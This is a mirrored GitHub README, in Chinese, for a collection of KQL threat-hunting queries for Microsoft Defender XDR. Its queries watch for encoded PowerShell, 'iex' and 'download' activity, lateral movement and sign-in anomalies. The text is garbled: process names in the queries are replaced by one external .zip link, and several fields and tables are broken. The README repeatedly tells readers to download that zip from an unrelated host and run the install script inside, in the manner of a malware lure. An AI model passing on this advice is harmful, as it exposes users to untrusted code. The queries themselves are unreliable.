jaraguayo/KQL-Queries

GitHub: jaraguayo/KQL-Queries

Stars: 1 | Forks: 0

# 用于 Defender XDR 威胁狩猎与检测的 KQL 查询 [![发布工件](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip%20Artifacts-brightgreen)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip) [Microsoft Defender XDR 威胁狩猎 KQL 查询](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip) 这是一组专为 Microsoft Defender XDR 威胁狩猎和检测设计的精选 KQL 查询集合。该集合旨在帮助事件响应团队、安全运营中心 (SOC) 和威胁猎人快速揭示可疑活动,将发现结果映射到 MITRE ATT&CK 技术,并加速跨 Defender XDR 数据源的调查。 ![Microsoft Defender Logo](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip) 目录 - 概述 - 项目初衷 - 如何开始 - 快速入门:运行你的第一个查询 - 数据源和 Schema - 查询目录 - 威胁狩猎查询 - 威胁检测查询 - MITRE ATT&CK 映射 - 持久化和隔离指标 - 可疑进程和 PowerShell 活动 - 横向移动和网络指标 - 账户滥用和登录异常 - 数据窃取和数据丢失指标 - 端点和设备态势信号 - 编写 KQL 查询的最佳实践 - 工作流和使用模式 - 数据治理和安全注意事项 - 仓库结构 - 如何贡献 - 发布说明和资产 - 常见问题解答 - 许可证 - 致谢 概述 本仓库包含广泛的 KQL 查询,旨在协助 Defender XDR 威胁狩猎和快速检测工作流。这些查询涵盖了常见的攻击模式、凭据滥用、横向移动、持久化技术和数据窃取信号。它们被设计为可直接使用的示例,您可以根据自己的工作区、仪表板和警报规则进行调整。 项目初衷 安全团队面临着庞大且不断演变的威胁环境。Defender XDR 整合了来自端点、身份、云和应用程序的信号。然而,原始数据只是解决方案的一部分。您需要通过针对性的查询将数据转化为可操作的信号。本项目提供了现成的 KQL 代码片段以及如何根据您的环境进行调整的指导。它可以帮助您: - 利用可复用的查询加速威胁狩猎。 - 将检测结果与 MITRE ATT&CK 技术对齐。 - 通过清晰的字段投影提高调查效率。 - 跨团队和环境共享知识。 如何开始 首先,您需要访问一个启用了 Defender XDR 的环境,并且数据正流入 Azure Monitor Logs 工作区或 Microsoft Sentinel。您将在接入 Defender XDR 数据(例如 Defender for Endpoint、Defender for Identity 及相关信号)的工作区中运行 KQL。本仓库中的查询假设您至少拥有对相关数据表的读取权限,并且知道如何使用查询编辑器。 前置条件 - 一个连接了 Defender XDR 数据流的 Azure Monitor Logs 工作区或 Microsoft Sentinel 工作区。 - 基本的 Kusto Query Language (KQL) 知识。 - 当前的 Defender XDR 部署,包括 Defender for Endpoint 信号和相关遥测数据。 - 可选:具有创建、保存和共享查询或将其固定到仪表板和工作簿的正确权限角色。 - 可选:了解 MITRE ATT&CK 技术,以便将结果映射到通用框架。 快速入门:运行你的第一个查询 1. 在 Azure 门户或 Microsoft Sentinel 中打开您的工作区。 2. 转到 Logs (Analytics) 面板以访问查询编辑器。 3. 复制下面最简单的查询之一以验证数据访问权限。 4. 运行查询并查看结果。 5. 将查询保存到库中,或将其固定到工作簿或仪表板以便持续监控。 示例快速入门查询 这是一个紧凑的入门查询,用于揭示端点上的高级用户活动,这通常是更复杂狩猎查询的前兆。 ``` // Quick start: find PowerShell-like activity in the last 6 hours DeviceEvents | where Timestamp > ago(6h) | where ActionType == "ProcessCreated" | where InitiatingProcessFileName has_any ("https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","pwsh","powershell") | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessFileName, ProcessCommandLine | sort by Timestamp desc ``` 如果您想验证可能表明凭据受损的更广泛信号,可以运行登录异常查询。 ``` // Quick start: detect unusual sign-in events by user count in a short window SigninLogs | where TimeGenerated > ago(6h) | summarize UniqueUsers = dcount(UserPrincipalName), SignInCount = count() by bin(TimeGenerated, 1h) | where UniqueUsers > 5 | project TimeGenerated, UniqueUsers, SignInCount, UserPrincipalName ``` 数据源和 Schema Defender XDR 数据来自多个来源。本仓库侧重于 Defender XDR 在工作区中呈现的常用数据集市和表。您将遇到的关键表包括: - DeviceEvents:关于设备端活动的遥测,例如进程创建、文件操作和注册表事件。 - DefenderAlerts:由 Defender 解决方案生成的警报,包括具有策略驱动严重性的检测。 - NetworkEvents:网络相关遥测,包括连接、SMB 活动和 DNS 查询。 - SigninLogs:跨云服务的用户账户登录事件。 - DeviceLogonEvents:端点上的身份验证和会话事件。 - FileEvents:文件级事件,包括创建、修改或执行信号。 - ProcessEvents:详细的进程遥测,通常用于谱系分析。 在查询中投影字段对于清晰度至关重要。您会在查询中看到的常见字段包括: - Timestamp 或 TimeGenerated:事件发生的时间。 - DeviceName 或 Computer:涉及的端点。 - InitiatingProcessFileName 和 InitiatingProcessCommandLine:启动操作的进程。 - ProcessFileName 和 ProcessCommandLine:执行操作的结果进程。 - UserPrincipalName:与事件关联的用户。 - ReportId 或 EventSource:用于追踪的唯一标识符。 查询目录 威胁狩猎查询 - 目标:揭示可疑的进程创建、PowerShell 使用或基于脚本的活动,这些可能表明攻击者已建立据点。 - 示例:检测使用编码命令的可疑 PowerShell 使用情况。 ``` DeviceEvents | where Timestamp > ago(24h) | where ActionType == "ProcessCreated" | where InitiatingProcessFileName has_any ("https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","pwsh","powershell") | where InitiatingProcessCommandLine has_any ("-enc","-EncodedCommand","Invoke-Expression","Base64") | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc ``` - 示例:检测服务器上意外的 PowerShell 活动。 ``` DeviceEvents | where Timestamp > ago(12h) | where ActionType == "ProcessCreated" | where InitiatingProcessParentName == "https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip" | where InitiatingProcessFileName in ("https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip") | project Timestamp, DeviceName, InitiatingProcessFileName, InitiativeProcessCommandLine ``` - 示例:短时间窗口内的可疑脚本下载。 ``` DeviceFileEvents | where Timestamp > ago(6h) | where ActionType == "FileCreated" and FileName endswith ".ps1" | join kind=inner ( DeviceEvents | where Timestamp > ago(6h) | where ActionType == "ProcessCreated" | project DeviceId, UserId, Timestamp, InitiatingProcessFileName, InitiatingProcessCommandLine ) on DeviceId | project Timestamp, DeviceName, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc ``` 威胁检测查询 - 目标:提供当模式匹配已知恶意行为时触发警报的检测。 - 示例:检测到不常见外部目标的可疑网络连接。 ``` NetworkEvents | where TimeGenerated > ago(24h) | where RemoteIPCountry != "CN" and RemoteIPCountry != "RU" // example | summarize Count = count() by RemoteIPCountry, RemoteIP, Protocol | where Count > 5 | project TimeGenerated, RemoteIP, RemoteIPCountry, Protocol, Count ``` - 示例:识别跨云应用程序的异常凭据使用。 ``` SigninLogs | where TimeGenerated > ago(1d) | summarize Attempts = count() by UserPrincipalName, AppDisplayName, ResultDescription | where Attempts > 3 and ResultDescription != "Success" | project TimeGenerated, UserPrincipalName, AppDisplayName, ResultDescription, Attempts ``` MITRE ATT&CK 映射 - 目标:将检测映射到 MITRE ATT&CK 技术,以改进报告和协作。 - 示例:将暴力破解尝试映射到 T1110 (Brute Force),将异常登录映射到 T1078 (Valid Accounts)。 ``` SigninLogs | where TimeGenerated > ago(2d) | summarize Attempts = count() by UserPrincipalName, AuthenticationRequirement, ResultStatus = ResultDescription | where Attempts > 5 | extend MITRE_Technique = case(ResultDescription == "Failure" and AuthenticationRequirement == "Password", "TA0006 - Credential Access: Brute Force", "TA0009 - Valid Accounts") | project TimeGenerated, UserPrincipalName, MITRE_Technique, Attempts ``` 持久化和隔离指标 - 目标:揭示持久化的起始点或设备状态的可疑更改。 - 示例:检测由非系统进程创建的不寻常启动项或服务。 ``` DeviceEvents | where Timestamp > ago(7d) | where ActionType == "StartupItemCreated" or ActionType == "ServiceCreated" | where InitiatingProcessFileName !in ("https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip") | project Timestamp, DeviceName, InitiatingProcessFileName, CommandLine ``` 可疑进程和 PowerShell 活动 - 目标:隔离可能表明恶意软件尝试的可疑进程链。 ``` DeviceEvents | where Timestamp > ago(8h) | where ActionType == "ProcessCreated" | where InitiatingProcessFileName has_any ("https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip","https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip") | mv-expand CommandLine = split(InitiatingProcessCommandLine, " ") | where CommandLine matches regex @".*(iex|iwr|download|invoke|encrypted|Base64).*" | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine ``` 横向移动和网络指标 - 目标:识别在网络中横向移动的尝试。 ``` NetworkEvents | where TimeGenerated > ago(1d) | where Protocol in ("SMB","SMB2","RDP","WMI") | where ActionType in ("ConnectionEstablished","ConnectionAttempt") | where RemotePort in (445, 3389) | project TimeGenerated, DeviceName, SourceIP, DestinationIP, DestinationPort, Protocol, ActionType ``` 账户滥用和登录异常 - 目标:突出显示可能反映账户受损的登录模式异常。 ``` SigninLogs | where TimeGenerated > ago(2d) | summarize SignInCount = count() by UserPrincipalName, ClientAppUsed, IPAddress, ResultDescription | where SignInCount > 10 and ResultDescription != "Success" | project TimeGenerated, UserPrincipalName, IPAddress, ClientAppUsed, SignInCount, ResultDescription ``` 数据窃取和数据丢失指标 - 目标:捕获看起来可疑的数据移动事件。 ``` DeviceEvents | where ActionType == "DataExfiltrated" | where FileName != "" | where DestinationAddress != "" | project TimeGenerated, DeviceName, FileName, DestinationAddress, DestinationPort, ExfiltrationMethod ``` 端点和设备态势信号 - 目标:监控设备的健康和合规态势。 ``` DevicePostureEvents | where TimeGenerated > ago(1d) | where PostureState in ("Unhealthy","NeedsAttention") | summarize Count = count() by DeviceName, PostureState | sort by Count desc ``` 在 Defender XDR 中使用 KQL 的最佳实践 - 使用显式时间窗口。始终指定一个过去的时间窗口,以确保性能和一致性。 - 仅投影必要的字段。这减少了数据传输量并使结果更易于阅读。 - 使用 summarize 和 by 子句来检测随时间变化的趋势和异常。 - 仅在需要时使用 join 组合信号。连接功能强大但开销较大。 - 将结果映射到 MITRE ATT&CK 技术,以便与事件响应 playbook 保持一致。 - 将可复用的查询保存到库或兼容的仪表板中,以便团队共享。 - 尽可能使用参数化查询,以复用逻辑并避免重复。 MITRE ATT&CK 映射实践 - 战术优先方法:首先列出技术类别,然后是具体的子技术(如果适用)。 - 示例:基于异常的凭据滥用检测根据上下文映射到 T1078 (Valid Accounts) 或 T1110 (Brute Force)。 - 在查询中为技术使用一致的命名约定,以便仪表板和报告可以可靠地对结果进行分组。 数据治理和安全注意事项 - 确保对敏感数据的访问合规。仅向需要的人员授予读取权限。 - 在广泛分发共享工件时,遮盖或编辑敏感字段。 - 随着 Defender 数据模型的发展,保持查询更新。Defender XDR 数据 Schema 可能会随产品更新而变化。 - 谨慎使用导出。大型导出可能会产生成本并影响共享工作区的性能。 仓库结构 - /queries:按主题(威胁狩猎、检测、MITRE 映射等)组织的 KQL 代码片段集合。 - /templates:用于可视化查询结果的通用仪表板和工作簿模板。 - /docs:额外的说明、词汇表和使用说明。 - /examples:展示端到端狩猎和调查的用例驱动示例。 - /contrib:贡献者指南和 Pull Request 模板。 如何贡献 - 遵循项目的贡献指南来添加新查询、改进现有查询或提出增强建议。 - 在贡献之前,请运行现有的测试或验证,以确保您的代码片段在典型的 Defender XDR 环境中按预期运行。 - 为新查询使用清晰、简洁的命名,并包括简短描述、数据源和预期的 MITRE ATT&CK 映射。 - 尽可能提供示例输出或屏幕截图,以说明结果应呈现的样子。 - 每个新查询至少包含一个实际用例,并解释如何在真实环境中验证结果。 发布说明和资产 - 该仓库使用 Releases 页面提供可下载的资产。这些资产包括打包的查询库和示例仪表板,可直接导入 Defender XDR 或 Sentinel 工作区。 - 如果您是第一次探索本仓库,请访问 Releases 页面查看最新的包。该页面托管了您可以下载并在环境中执行的工件。 - 重要提示:Releases 页面包含您可以下载和运行的文件。要获取工件,请访问 Releases 页面 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip 并下载最新的发布资产。下载后,解压包并运行包含的安装脚本或将包含的查询导入您的工作区。此处也提供了该链接以便快速访问:https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip 常见问题解答 - 问:这些查询在生产环境中运行安全吗? 答:是的,但请以读取权限运行,并尽可能在测试或暂存环境中运行。从较小的时间窗口开始,在扩大范围之前验证结果。 - 问:这些查询适用于所有 Defender XDR 数据源吗? 答:它们针对常见的 Defender XDR 遥测数据。某些数据源可能需要根据您的环境或数据模型进行调整。 - 问:如何贡献新查询? 答:Fork 本仓库,添加带有清晰名称和描述的查询,然后提交 Pull Request。在描述中包含数据源和 MITRE 映射。 测试和验证查询的技巧 - 从狭窄的时间窗口和小范围开始,以验证预期的字段和结果。 - 根据您的工作区 Schema 验证字段名称。如果字段缺失,请根据您的环境调整查询。 - 使用可视化和汇总功能确认数据支持预期的模式。 - 跨多天比较结果以确认一致性并捕获异常。 许可证 - 本仓库基于 MIT 许可证提供。请随意在您的 Defender XDR 环境中重用、修改和分发这些查询,但需注明出处。 更新日志 - 更改日志维护在 Releases 和 Docs 部分中。每个版本都包含已添加查询、更新映射和任何重大更改的摘要。 致谢 - 感谢 Defender XDR 社区的反馈和用例。协作有助于提高检测质量并减少狩猎工作流中的噪音。 关于 Releases 链接的重要说明 - Releases 页面是上述打包资产的主要分发渠道。如果您需要可下载的工件,应前往 Releases 页面下载最新版本。此处再次提供该链接以方便访问:https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip 更多信息 - 如果您想深入探索,请访问顶级仓库页面,其中链接到发布和其他资源。此处再次使用相同的链接:https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68d6320edb135507.zip 视觉参考和资源 - Defender 品牌和遥测数据用于说明这些查询涵盖的信号类型。 - Logo 和图标来自开放源代码,用于教育目的,旨在帮助用户在 README 和文档中识别 Defender XDR 主题。 主题 - azure - defender - defenderxdr - kql - microsoft - mitre-attack - sentinel - threat - threat-detection - threat-hunting - threat-intelligence - threathunting 如果您需要额外的部分或希望我针对特定的 Defender XDR 数据源或工作区定制任何查询,我可以扩展目录,提供更精确的示例和指导。
标签:AMSI绕过, Cloudflare, EDR, KQL, Kusto 查询语言, M365 安全, Microsoft Defender XDR, MITRE ATT&CK, PE 加载器, PowerShell 监控, Web报告查看器, 凭证滥用, 威胁检测, 安全脚本, 安全运营, 开源安全工具, 扫描框架, 攻击分析, 数字取证, 横向移动, 编程规范, 网络安全, 脆弱性评估, 自动化脚本, 逆向工程平台, 速率限制, 隐私保护